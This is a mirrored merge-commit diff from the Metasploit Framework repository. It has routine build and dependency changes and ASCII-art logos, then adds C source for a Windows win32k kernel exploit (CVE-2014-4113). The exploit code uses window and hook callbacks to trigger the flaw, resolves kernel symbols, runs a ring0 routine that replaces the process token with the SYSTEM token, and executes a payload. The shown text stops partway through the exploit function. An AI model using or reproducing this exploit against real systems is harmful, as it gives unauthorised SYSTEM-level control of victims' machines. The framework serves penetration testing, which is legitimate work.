1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-08-28 23:26:18 +02:00

Merge branch 'master' into feature/MSP-11130/metasploit-framework-spec-constants

MSP-11130

Conflicts:
	Rakefile
This commit is contained in:
Luke Imhoff 2014-11-04 10:10:12 -06:00
commit b0f1b2a1f7
No known key found for this signature in database
GPG Key ID: 5B1FB01FB33356F8
93 changed files with 7127 additions and 9549 deletions

View File

@ -1 +1 @@
1.9.3-p547
1.9.3-p550

View File

@ -1,7 +1,8 @@
env:
- RAKE_TASK=cucumber
- RAKE_TASK=cucumber:boot
- RAKE_TASK=spec
- RAKE_TASK=spec SPEC_OPTS="--tag content"
- RAKE_TASK=spec SPEC_OPTS="--tag ~content"
language: ruby
before_install:
@ -22,8 +23,9 @@ before_script:
script: "bundle exec rake $RAKE_TASK"
rvm:
#- '1.8.7'
- '1.9.3'
- '2.0'
- '2.1'
notifications:
irc: "irc.freenode.org#msfnotify"

View File

@ -1,4 +1,4 @@
Copyright (C) 2006-2013, Rapid7, Inc.
Copyright (C) 2006-2014, Rapid7, Inc.
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,

View File

@ -3,6 +3,8 @@ source 'https://rubygems.org'
# spec.add_runtime_dependency '<name>', [<version requirements>]
gemspec
gem 'rb-readline', require: false
group :db do
# Needed for Msf::DbManager
gem 'activerecord', '>= 3.0.0', '< 4.0.0'

View File

@ -14,6 +14,7 @@ PATH
nokogiri
packetfu (= 1.1.9)
railties
rb-readline
recog (~> 1.0)
robots
rubyzip (~> 1.1)
@ -57,7 +58,7 @@ GEM
childprocess (>= 0.3.6)
cucumber (>= 1.1.1)
rspec-expectations (>= 2.7.0)
bcrypt (3.1.7)
bcrypt (3.1.9)
builder (3.0.4)
capybara (2.4.1)
mime-types (>= 1.16)
@ -161,6 +162,7 @@ GEM
rdoc (~> 3.4)
thor (>= 0.14.6, < 2.0)
rake (10.3.2)
rb-readline (0.5.1)
rdoc (3.12.2)
json (~> 1.4)
recog (1.0.0)
@ -230,6 +232,7 @@ DEPENDENCIES
pg (>= 0.11)
pry
rake (>= 10.0.0)
rb-readline
redcarpet
rspec (>= 2.12, < 3.0.0)
rspec-rails (>= 2.12, < 3.0.0)

View File

@ -1,6 +1,7 @@
#!/usr/bin/env rake
require File.expand_path('../config/application', __FILE__)
require 'metasploit/framework/require'
require 'metasploit/framework/spec/untested_payloads'
# @note must be before `Metasploit::Framework::Application.load_tasks`
#
@ -10,3 +11,4 @@ Metasploit::Framework::Require.optionally_active_record_railtie
Metasploit::Framework::Application.load_tasks
Metasploit::Framework::Spec::Constants.define_task
Metasploit::Framework::Spec::UntestedPayloads.define_task

Binary file not shown.

Binary file not shown.

34
data/logos/gargoyle.hwtxt Normal file
View File

@ -0,0 +1,34 @@
, ,
\'. .'/
),\ /,(
/__\'. .'/__\
\ `'.'-.__ __.-'.'` /
`) `'-. \ / .-'` ('
/ _.--'\ '. , , .' /'--._ \
|-'` '. '-.__ / \ / \ __.-' .' `'-|
\ _.`'-.,_'-.|/\ \ _,_ / /\|.-'_,.-'`._ /
`\ .-' /'-.|| \ |.-" "-.| / ||.-'\ '-. /`
)-'` .' :|| / -.\\ //.- \ ||: '. `'-(
/ .' / \\_ | /o`^'o\ | _// \ '. \
\ .-' .' `--| `"/ \"` |--` '. '-. /
`) _.' .' .--.; |\__"__/| ;.--. '. '._ ('
/_.' .-' _.-' \\ \/^\/ // `-._ '-. '._\
\ .'`_.--' \\ // `--._`'. /
'-._' /` _ \\-.-// _ `\ '_.-'
`< _,..--''`| \`"`/ |`''--..,_ >`
_\ ``--..__ \ `'` / __..--`` /_
/ '-.__ ``'-; / \ ;-'`` __.-' \
| _ ``''--.. \'-' | '-'/ ..--''`` _ |
\ '-. / |/--|--\| \ .-' /
'-._ '-._ / |---|---| \ _.-' _.-'
`'-._ '/ / / /---|---\ \ \ \' _.-'`
'-./ / / / \`---`/ \ \ \ \.-'
`)` ` /'---'\ ` `(`
jgs /` | | `\
/ / | | | | \ \
.--' / | '. .' | \ '--.
/_____/| / \._\ /_./ \ |\_____\
(/ (/' \) (/ `\) \)

37
data/logos/ghost01.hwtxt Normal file
View File

@ -0,0 +1,37 @@
.,,cccd$$$$$$$$$$$ccc,
,cc$$$$$$$$$$$$$$$$$$$$$$$$$cc,
,d$$$$$$$$$$$$$$$$"J$$$$$$$$$$$$$$c,
d$$$$$$$$$$$$$$$$$$,$" ,,`?$$$$$$$$$$$$L
,$$$$$$$$$$$$$$$$$$$$$',J$$$$$$$$$$$$$$$$$b
,$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$i `$h
$$$$$$$$$$$$$$$$$$$$$$$$$P' "$$$$$$$$$$$h $$
;$$$$$$$$$$$$$$$$$$$$$$$$F,$$$h,?$$$$$$$$$$h$F
`$$$$$$$$$$$$$$$$$$$$$$$F:??$$$:)$$$$P",. $$F
?$$$$$$$$$$$$$$$$$$$$$$( `$$ J$$F"d$$F,$F
?$$$$$$$$$$$$$$$$$$$$$h, :P'J$$F ,$F,$"
?$$$$$$$$$$$$$$$$$$$$$$$ccd$$`$h, ",d$
"$$$$$$$$$$$$$$$$$$$$$$$$",cdc $$$$"
,uu, `?$$$$$$$$$$$$$$$$$$$$$$$$$$$c$$$$h
.,d$$$$$$$cc, `$$$$$$$$$$$$$$$$??$$$$$$$$$$$$$$$,
,d$$$$$$$$$$$$$$$bcccc,,??$$$$$$ccf `"??$$$$??$$$$$$$
d$$$$$$$$$$$$$$$$$$$$$$$$$h`?$$$$$$h`:... d$$$$$$$$P
d$$$$$$$$$$$$$$$$$$$$$$$$$$$$`$$$$$$$hc,,cd$$$$$$$$P"
=$$?$$$$$$$$P' ?$$$$$$$$$$$$$$$$$;$$$$$$$$$???????",,
=$$$$$$F `"?????$$$$$$$$$$$$$$$$$$$$$$$$$$$$$bc
d$$F"?$$k ,ccc$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$i
. ,ccc$$c`""u$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$P",$$$$$$$$$$$$h
,d$$$L J$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$" `""$$$??$$$$$$$
,d$$$$$$c,"$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$F `?J$$$$$$$'
,$$$$$$$$$$h`$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$F ?$$$$$$$P""=,
,$$$F?$$$$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$F 3$$$$II"?$h,
$$$$$`$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$P" ;$$$??$$$,"?"
$$$$F ?$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$P",z' 3$$h ?$F
`?$$$$$$$$$$$$$$$??$$$$$$$$$PF"',d$P" "?$F
""""""" ,z$$$$$$$$$$$$$P
J$$$$$$$$$$$$$$F
,$$$$$$$$$$$$$$F
:$$$$$c?$$$$PF'
`$$$$$$$P
`?$$$$F

21
data/logos/json01.hwtxt Normal file
View File

@ -0,0 +1,21 @@
aa@@@@@@@@@@@@@aa
a@@@@@@@@@@@@@@@@@@@@@a
a@@@@@@@@@@@@@@@@@@@@@@@@@a
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@~~~~@@@@@@@@@~~~~@@@@@@@
@@@@@@ @@@@@@@ @@@@@@
@@@@@@@aaaa@@@@@@@@@aaaa@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
`@@@@@@@@@@@@@@@@@@@@@@@@@@@@@'
@@@@@@@@~@@@~@@@~@@@~@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@~@@@~@@@~@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@~@@@~@@@@@@@@
`@@@@@@@@@@@@@@@@@'
~~@@@@@@@~~

29
data/logos/mummy.hwtxt Normal file
View File

@ -0,0 +1,29 @@
,mmmmm, ______ _________
@ooooo@, / /. . \\ /./-----\.\
@0m0m0Q@ / /. . .`,\\>./, , ,\.\
@0X00X@@ | |. . . |:|\| , , |.|
____@0m00@_____ | | . . . |:|X| , , , |.|
@@@op(oboy)pop@@Ok | |. . . |:|\| , , |.|
@@@@opopopopop@@@p@@| | . . . |:|\| , , , |.|
@@o@@opopopopop@@op@@,|. . . |:|\| , , |.|
@@o@@popopopopopop@o@@| . . . |:|X| , , , |.|
@@o@@mmmmmmgogogo@oo@|. . . |:|\| , , |.|
@@@@@@@mmm'ooo@|@oo@| . . . |:|\| , , , |.|
@oooooooOOOO@" @o@|. . . |:|\| , , |.|
@OoOoO@OoOoO@ @@@| . . . |:|X| , , , |.|
@oooo@@@oooo@ @@@|. . . .|:|\| , , |.|
.@@@o@@@@ooo@@ ,@@}| . . .// \\_________/.|
.@@oo@@@@@@ooo@. "@@'|. . // \==========/
.@ooooo@@@@@oooo@ \ //
@ooooO@' `@@ooo@|
@oooo@' `@oooo@
@ooo@' `oooo@| The MUMMY, from his coffin,
@oo@@' `@oo@| began to rise. And suddenly,
@o@@| @@o@, to my surprize!
@@@@: @@o@| -----
@@@@: @@o@| "HE DID THE MASH!"
`@oo: `@@@:
/@@@) /@@@)
(@@@@/ (@@@@/ \_/ Phoenix... (lives)

View File

@ -0,0 +1,22 @@
.....
.d$$$$*$$$$$$bc
.d$P" d$$ "*$$.
d$" 4$"$$ "$$.
4$P $F ^$F "$c
z$% d$ 3$ ^$L
4$$$$$$$$$$$$$$$$$$$$$$$$$$$$$F
$$$F"""""""$F""""""$F"""""C$$*$
.$%"$$e d$ 3$ z$$" $F
4$ *$$.4$" $$d$P" $$
4$ ^*$$. .d$F $$
4$ d$"$$c z$$"3$ $F
$L 4$" ^*$$$P" $$ 4$"
3$ $F .d$P$$e ^$F $P
$$ d$ .$$" "$$c 3$ d$
*$.4$"z$$" ^*$$$$ $$
"$$$$P" "$$$P
*$b. .d$P"
"$$$ec.....ze$$$"
"**$$$**""

View File

@ -0,0 +1,28 @@
ooo
$ o$
o $$
""$$$ o" $$ oo "
" o$"$oo$$$"o$$o$$"$$$$$ o
$" "o$$$$$$o$$$$$$$$$$$$$$o o
o$" "$$$$$$$$$$$$$$$$$$$$$$o" "oo o
" " o "$$$o o$$$$$$$$$$$oo$$
" $ " "o$$$$$ $$$$$$$$$$$"$$$$$$$o
o $ o o$$$$$"$$$$$$$$$$$o$$"""$$$$o " "
o o$$$$$" "$$$$$$$$$$ "" oo $$ o $
$ $ $$$$$ $$$oo "$$$$$$$$o o $$$o$$oo o o
o o $$$$$oo$$$$$$o$$$$ ""$$oo$$$$$$$$" " "o
" o $ ""$$$$$$$$$$$$$$ o "$$$$$$$$$$$$ o "
" $ "$$$$$$$$$$$$$$ " $$$"$$$$$$$$o o
$ o o$"""""$$$$$$$$ oooo$$ $$$$$$$$" "
$ o""o $$o $$$$$$$$$$$$$$$$$ "" o$$$ $ o
o " "o "$$$$ $$$$$""""""""""" $ o$$$$$"" o o
" " o o$o" $$$$o "" o o$$$$$" o
$ o$$$$$$$oo "oo$$$$$$$" o
"$ o o$o $o o$$$$$"$$$$oooo$$$$$$$$$$$$$$"o$o
"o oo $o$"oo$$$$$o$$$$$$$$$$$$"$$$$$$$$"o$"
"$ooo $$o$ $$$$$$$$$$$$$$$$ $$$$$$$$o"
"" $$$$$$$$$$$$$$$$$$$$$$" """"
""""""

View File

@ -0,0 +1,25 @@
........
;::;;::;,
;::;;::;;,
;;:::;;::;;,
.vnmmnv%vnmnv%,.;;;:::;;::;;, .,vnmnv%vnmnv,
vnmmmnv%vnmmmnv%vnmmnv%;;;;;;;%nmmmnv%vnmmnv%vnmmnv
vnmmnv%vnmmmmmnv%vnmmmmmnv%;:;%nmmmmmmnv%vnmmmnv%vnmmmnv
vnmmnv%vnmmmmmnv%vnmmmmmmmmnv%vnmmmmmmmmnv%vnmmmnv%vnmmmnv
vnmmnv%vnmmmmmnv%vnmmmmmmmmnv%vnmmmmmmmmmmnv%vnmmmnv%vnmmmnv
vnmmnv%vnmmmmmnv%vnmm;mmmmmmnv%vnmmmmmmmm;mmnv%vnmmmnv%vnmmmnv,
vnmmnv%vnmmmmmnv%vnmm;' mmmmmnv%vnmmmmmmm;' mmnv%vnmmmnv%vnmmmnv
vnmmnv%vnmmmmmnv%vn;; mmmmnv%vnmmmmmm;; nv%vnmmmmnv%vnmmmnv
vnmmnv%vnmmmmmmnv%v;; mmmnv%vnmmmmm;; v%vnmmmmmnv%vnmmmnv
vnmmnv%vnmmmmmmnv%vnmmmmmmmmm;; mmmmmmmmmnv%vnmmmmmmnv%vnmmmnv
vnmmnv%vnmmmmmmnv%vnmmmmmmmmmm;; mmmmmmmmmmnv%vnmmmmmmnv%vnmmmnv
vnmmnv%vnmmmmm nv%vnmmmmmmmmmmnv;, mmmmmmmmmmmmnv%vn;mmmmmnv%vnmmmnv
vnmmnv%vnmmmmm nv%vnmmmmmmmmmnv%;nmmmmmmmmmmmnv%vn; mmmmmnv%vnmmmnv
`vnmmnv%vnmmmm, v%vnmmmmmmmmmmnv%vnmmmmmmmmmmnv%v; mmmmnv%vnnmmnv'
vnmmnv%vnmmmm;, %vnmmmmmmmmmnv%vnmmmmmmmmmnv%;' mmmnv%vnmmmmnv
vnmmnv%vnmmmm;;, nmmm;' mmmm;;' mmmnv%vnmmmmnv'
`vnmmnv%vnmmmmm;;,. mmnv%v;, mmmmnv%vnmmmmnv'
`vnmmnv%vnmmmmmmnv%vnmmmmmmmmnv%vnmmmmmmnv%vnmmmmmnv%vnmmmmnv'
`vnmvn%vnmmmmmmnv%vnmmmmmmmnv%vnmmmmmnv%vnmmmmmnv%vnmmmnv'
`vn%vnmmmmmmn%:%vnmnmmmmnv%vnmmmnv%:%vnmmnv%vnmnv'

View File

@ -0,0 +1,25 @@
@@@
@@@
@@@
@@@
@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@ @@@@@@@@@@@@@@@@ @@@@@@@@
@@@@@@@@@ @@@@@@@@@@@@@@ @@@@@@@@@
@@@@@@@@@@ @@@@@@@@@@@@ @@@@@@@@@@
@@@@@@@@@@ @@@@ @@@@ @@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@
@@@@@@@@ @@ @@ @@ @@ @@ @@ @@ @ @@@@@@@@
@@@@@@@ @@@@@@@
@@@@@@ @@ @@ @@ @@ @@ @@ @ @@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@

View File

@ -0,0 +1,20 @@
__
| |
| |
___/____\___
_- ~ ~ _
- ~ ~ -_
- _
- /\ /\ _
- / *\ / *\ _
_ /____\ /____\ _
_ /\ _
_ /__\ _
_ |\ /| _
- \ `\/\/\/\/\/\/\/\/\/\/' / _
- \ / -
~ `\/^\/^\/^\/^\/^\/^\/' ~
~ -~
`--_._._._._._._._._._.._--'

35
data/logos/tricks01.hwtxt Normal file
View File

@ -0,0 +1,35 @@
_...----.
.' .-'`
,''--..;
/ |
_______/________|_______
`-----/// _\ /_ \\\-----`
.---./ / o\/o \ \.---.
<(_ /// \__/\__/ \\\ _)> _.---.
'-. // oo \\ .-' .' .__`\
o /// __..--..__ \\\ / \`\|
o-'*'-o //| '\/\/\/\/' |\\ / ; '
\*\|/*/ ;--. """" .-; | _ _ |
.-'---'-. / \|||-....(|||`\ | (o) (o) |
/ \ /\ /\|/ |
| .---, |/ \ / ; ' |
| / e e \ | '. .' | '-. \
\| ^ |/ '---' | \_
()._-_.() T R I C K | .._.----/` \
,/\'._.'/\. ' . | / ``"-/||\ \
/ \/ \/ \ O R | | `7,
| ^^_____^^ | | . /// _ |
|oOO` `OOo| T R E A T ; |' / |_) _ |
\| '._____.' |/ / \-| |_)/ \ _ |
|:: | '.__ __,; `| \_// \ |
|:: | ````` | | \_/ ;
|:: | | \ /
\::. /_____________| ``'--..___/
'._______.' '-| | |-' |
|_ | _| | | | __.-;
\ | / /-._|_.-\ \
\_|_/ /`'-.|.-'`\ /
jgs /--T--\ / .'. \'-..____.---''''``
(__/ \__) \____/ \___/

View File

@ -0,0 +1,151 @@
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
# User-specific files
*.suo
*.user
*.sln.docstates
# Build results
[Dd]ebug/
[Rr]elease/
x64/
build/
[Bb]in/
[Oo]bj/
# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets
!packages/*/build/
# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*
*_i.c
*_p.c
*.ilk
*.meta
*.obj
*.pch
*.pdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.log
*.scc
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opensdf
*.sdf
*.cachefile
# Visual Studio profiler
*.psess
*.vsp
*.vspx
# Guidance Automation Toolkit
*.gpState
# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
# TeamCity is a build add-in
_TeamCity*
# DotCover is a Code Coverage Tool
*.dotCover
# NCrunch
*.ncrunch*
.*crunch*.local.xml
# Installshield output folder
[Ee]xpress/
# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html
# Click-Once directory
publish/
# Publish Web Output
*.Publish.xml
*.pubxml
# NuGet Packages Directory
## TODO: If you have NuGet Package Restore enabled, uncomment the next line
#packages/
# Windows Azure Build Output
csx
*.build.csdef
# Windows Store app package directory
AppPackages/
# Others
sql/
*.Cache
ClientBin/
[Ss]tyle[Cc]op.*
~$*
*~
*.dbmdl
*.[Pp]ublish.xml
*.pfx
*.publishsettings
# RIA/Silverlight projects
Generated_Code/
# Backup & report files from converting an old project file to a newer
# Visual Studio version. Backup files are not needed, because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
# SQL Server files
App_Data/*.mdf
App_Data/*.ldf
# =========================
# Windows detritus
# =========================
# Windows image file caches
Thumbs.db
ehthumbs.db
# Folder config file
Desktop.ini
# Recycle Bin used on file shares
$RECYCLE.BIN/
# Mac crap
.DS_Store

View File

@ -0,0 +1,28 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2013
VisualStudioVersion = 12.0.21005.1
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2014-4113", "cve-2014-4113\cve-2014-4113.vcxproj", "{E80F11CD-6698-492F-B4B0-1A2348A24BB0}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Debug|x64 = Debug|x64
Release|Win32 = Release|Win32
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Debug|Win32.ActiveCfg = Debug|Win32
{E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Debug|Win32.Build.0 = Debug|Win32
{E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Debug|x64.ActiveCfg = Debug|x64
{E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Debug|x64.Build.0 = Debug|x64
{E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Release|Win32.ActiveCfg = Release|Win32
{E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Release|Win32.Build.0 = Release|Win32
{E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Release|x64.ActiveCfg = Release|x64
{E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,499 @@
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
// Uncomment this line to enable to debug output
//#define DEBUGGING
// Purloined from ntstatus.h
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // ntsubauth
#define WIN32_NO_STATUS
#include <windows.h>
#undef WIN32_NO_STATUS
#ifdef DEBUGGING
// only needed because of the output printf stuff when debugging
#include <stdio.h>
#endif
#ifndef _NTDEF_
typedef __success(return >= 0) LONG NTSTATUS;
typedef NTSTATUS *PNTSTATUS;
#endif
#define PTR_SIZE sizeof(UINT_PTR)
typedef NTSTATUS(NTAPI *lNtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN PVOID *BaseAddress,
IN PULONG ZeroBits,
IN PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
typedef NTSTATUS(NTAPI *lPsLookupProcessByProcessId)(
IN HANDLE ProcessId,
OUT PVOID Process
);
typedef PACCESS_TOKEN(NTAPI *lPsReferencePrimaryToken)(
_Inout_ PVOID Process
);
typedef NTSTATUS(NTAPI *lZwQuerySystemInformation)(
_In_ DWORD SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
typedef struct _SYSTEM_MODULE
{
HANDLE Reserved1;
PVOID Reserved2;
PVOID ImageBaseAddress;
ULONG ImageSize;
ULONG Flags;
USHORT Id;
USHORT Rank;
USHORT w018;
USHORT NameOffset;
BYTE Name[256];
} SYSTEM_MODULE, *PSYSTEM_MODULE;
typedef struct _SYSTEM_MODULE_INFORMATION
{
ULONG ModulesCount;
SYSTEM_MODULE Modules[0];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
BOOL bWndProcFlag = FALSE;
BOOL bHookCallbackFlag = FALSE;
WNDPROC lpPrevWndFunc;
DWORD dwMyProcessId = 0;
lPsLookupProcessByProcessId pPsLookupProcessByProcessId = NULL;
lPsReferencePrimaryToken pPsReferencePrimaryToken = NULL;
lNtAllocateVirtualMemory pNtAllocateVirtualMemory = NULL;
#ifdef DEBUGGING
void dprintf(char* pszFormat, ...)
{
char s_acBuf[2048];
va_list args;
va_start(args, pszFormat);
vsprintf_s(s_acBuf, sizeof(s_acBuf) - 1, pszFormat, args);
OutputDebugString(s_acBuf);
va_end(args);
}
#else
#define dprintf(...)
#endif
long CALLBACK hook_callback_two(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
EndMenu();
return -5;
}
LRESULT CALLBACK hook_callback(int code, WPARAM wParam, LPARAM lParam)
{
if (*(DWORD *)(lParam + PTR_SIZE * 2) == 0x1EB && !bHookCallbackFlag)
{
bHookCallbackFlag = TRUE;
if (UnhookWindowsHook(WH_CALLWNDPROC, hook_callback))
{
lpPrevWndFunc = (WNDPROC)SetWindowLongPtrA(*(HWND *)(lParam + PTR_SIZE * 3), GWLP_WNDPROC, (ULONG_PTR)hook_callback_two);
}
}
return CallNextHookEx(0, code, wParam, lParam);
}
LRESULT CALLBACK wnd_proc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
if (msg == 289 && !bWndProcFlag)
{
bWndProcFlag = TRUE;
PostMessageA(hwnd, 256, 40, 0);
PostMessageA(hwnd, 256, 39, 0);
PostMessageA(hwnd, 513, 0, 0);
}
return DefWindowProc(hwnd, msg, wParam, lParam);
}
DWORD_PTR __stdcall get_threadinfo_ptr(void)
{
#ifdef _M_X64
PBYTE pTeb = (PBYTE)__readgsqword(0x30);
return (DWORD_PTR)*((PDWORD_PTR)(pTeb + 0x78));
#else
PBYTE pTeb = (PBYTE)__readfsdword(0x18);
return (DWORD_PTR)*((PDWORD_PTR)(pTeb + 0x40));
#endif
}
// Search the specified data structure for a member with CurrentValue.
BOOL find_and_replace_member(PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, DWORD_PTR dwNewValue, DWORD_PTR dwMaxSize)
{
DWORD_PTR dwIndex, dwMask;
// Microsoft QWORD aligns object pointers, then uses the lower three
// bits for quick reference counting.
#ifdef _M_X64
dwMask = ~0xf;
#else
dwMask = ~7;
#endif
// dwMask out the reference count.
dwCurrentValue &= dwMask;
// Scan the structure for any occurrence of dwCurrentValue.
for (dwIndex = 0; dwIndex < dwMaxSize; dwIndex++)
{
if ((pdwStructure[dwIndex] & dwMask) == dwCurrentValue)
{
// And finally, replace it with NewValue.
pdwStructure[dwIndex] = dwNewValue;
return TRUE;
}
}
// Member not found.
return FALSE;
}
int _stdcall shellcode_ring0(int one, int two, int three, int four)
{
void *pMyProcessInfo = NULL;
void *pSystemInfo = NULL;
PACCESS_TOKEN systemToken;
PACCESS_TOKEN targetToken;
pPsLookupProcessByProcessId((HANDLE)dwMyProcessId, &pMyProcessInfo);
pPsLookupProcessByProcessId((HANDLE)4, &pSystemInfo);
targetToken = pPsReferencePrimaryToken(pMyProcessInfo);
systemToken = pPsReferencePrimaryToken(pSystemInfo);
// Find the token in the target process, and replace with the system token.
find_and_replace_member((PDWORD_PTR)pMyProcessInfo,
(DWORD_PTR)targetToken,
(DWORD_PTR)systemToken,
0x200);
return 0;
}
DWORD WINAPI execute_payload(LPVOID lpPayload)
{
VOID(*lpCode)() = (VOID(*)())lpPayload;
lpCode();
return ERROR_SUCCESS;
}
void win32k_null_page(LPVOID lpPayload)
{
WNDCLASSA wndClass;
char szNtName[256];
PVOID pNtBase;
OSVERSIONINFOA versionInfo;
// Getting Windows version
dprintf("[*] Getting Windows version...");
memset(&versionInfo, 0, sizeof(OSVERSIONINFOA));
versionInfo.dwOSVersionInfoSize = 148;
if (!GetVersionExA(&versionInfo))
{
dprintf("[!] Failed to get windows version");
return;
}
// Solve symbols
dprintf("[*] Solving symbols...");
HMODULE hNtdll = LoadLibraryA("ntdll");
if (hNtdll == NULL)
{
dprintf("[!] Failed to Load ntdll...");
return;
}
lZwQuerySystemInformation pZwQuerySystemInformation = (lZwQuerySystemInformation)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
if (pZwQuerySystemInformation == NULL)
{
dprintf("[!] Failed to solve ZwQuerySystemInformation");
return;
}
pNtAllocateVirtualMemory = (lNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
if (pNtAllocateVirtualMemory == NULL)
{
dprintf("[!] Failed to solve NtAllocateVirtualMemory");
return;
}
dprintf("[*] Requesting Kernel loaded modules...");
ULONG ulSystemInfoBufferSize = 0;
pZwQuerySystemInformation(11, &ulSystemInfoBufferSize, 0, &ulSystemInfoBufferSize);
if (ulSystemInfoBufferSize == 0)
{
dprintf("[!] Requesting pZwQuerySystemInformation required length failed");
return;
}
dprintf("[*] pZwQuerySystemInformation required length %d", ulSystemInfoBufferSize);
PULONG pSystemInfoBuffer = (PULONG)LocalAlloc(LMEM_ZEROINIT, ulSystemInfoBufferSize);
if (pSystemInfoBuffer == NULL)
{
dprintf("[!] Allocation for SystemInfo failed");
return;
}
if (pZwQuerySystemInformation(11, pSystemInfoBuffer, ulSystemInfoBufferSize, &ulSystemInfoBufferSize) != STATUS_SUCCESS)
{
dprintf("[!] Requesting kernel modules through ZwQuerySystemInformation failed");
return;
}
dprintf("[*] Parsing SYSTEM_INFO...");
SYSTEM_MODULE_INFORMATION *smi = (SYSTEM_MODULE_INFORMATION *)pSystemInfoBuffer;
dprintf("[*] %d Kernel modules found", smi->ModulesCount);
memset(szNtName, 0, 256);
ULONG i = 0;
while (i < smi->ModulesCount)
{
SYSTEM_MODULE *sm = (SYSTEM_MODULE *)(smi->Modules + i);
dprintf("[*] Checking module %s", sm->Name);
if (strstr((char *)sm->Name, ".exe"))
{
char *start = strstr((char *)sm->Name, "nt");
if (start != NULL)
{
pNtBase = sm->ImageBaseAddress;
strncpy_s(szNtName, 256, start, _TRUNCATE);
break;
}
}
i++;
}
if (szNtName == NULL)
{
dprintf("[!] nt not found");
return;
}
dprintf("[*] Good! nt found as %s at 0x%08x", szNtName, pNtBase);
HMODULE hNtKrnl = LoadLibraryA(szNtName);
dprintf("[*] %s loaded in userspace at: %08x", szNtName, hNtKrnl);
pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)GetProcAddress(hNtKrnl, "PsLookupProcessByProcessId");
if (pPsLookupProcessByProcessId == NULL)
{
dprintf("[!] Failed to solve PsLookupProcessByProcessId");
return;
}
pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)((DWORD_PTR)pNtBase + ((DWORD_PTR)pPsLookupProcessByProcessId - (DWORD_PTR)hNtKrnl));
dprintf("[*] pPsLookupProcessByProcessId in kernel: 0x%p", pPsLookupProcessByProcessId);
pPsReferencePrimaryToken = (lPsReferencePrimaryToken)GetProcAddress(hNtKrnl, "PsReferencePrimaryToken");
if (pPsReferencePrimaryToken == NULL)
{
dprintf("[!] Failed to solve PsLookupProcessByProcessId");
return;
}
